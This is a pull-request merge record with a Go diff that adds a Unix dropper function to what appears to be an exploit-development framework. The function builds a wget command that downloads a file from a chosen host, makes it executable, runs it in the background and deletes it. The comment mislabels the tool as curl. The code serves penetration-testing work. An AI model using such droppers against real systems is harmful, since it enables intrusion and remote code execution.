Merge pull request #472 from vulncheck-oss/payload-dropper-wget

Wget dropper execute payload

Author: j-baines

payload/dropper/unix.go

@@ -44,6 +44,19 @@ func (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, downloadF
 		output, uri, output, uri, output, output, output)
 }
 
+// Download a remote file with curl, execute it, and delete it.
+func (unix *UnixPayload) WgetHTTPEx(lhost string, lport int, ssl bool, downloadFile string) string {
+	output := "/tmp/" + random.RandLetters(3)
+
+	if ssl {
+		return fmt.Sprintf("wget --no-check-certificate -O %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s",
+			output, lhost, lport, downloadFile, output, output, output)
+	}
+
+	return fmt.Sprintf("wget -O %s http://%s:%d/%s && chmod +x %s && %s & rm -f %s",
+		output, lhost, lport, downloadFile, output, output, output)
+}
+
 // Download a remote bash script with wget and pipe it to bash.
 func (unix *UnixPayload) WgetHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
 	uri := fmt.Sprintf("%s:%d/%s", lhost, lport, downloadFile)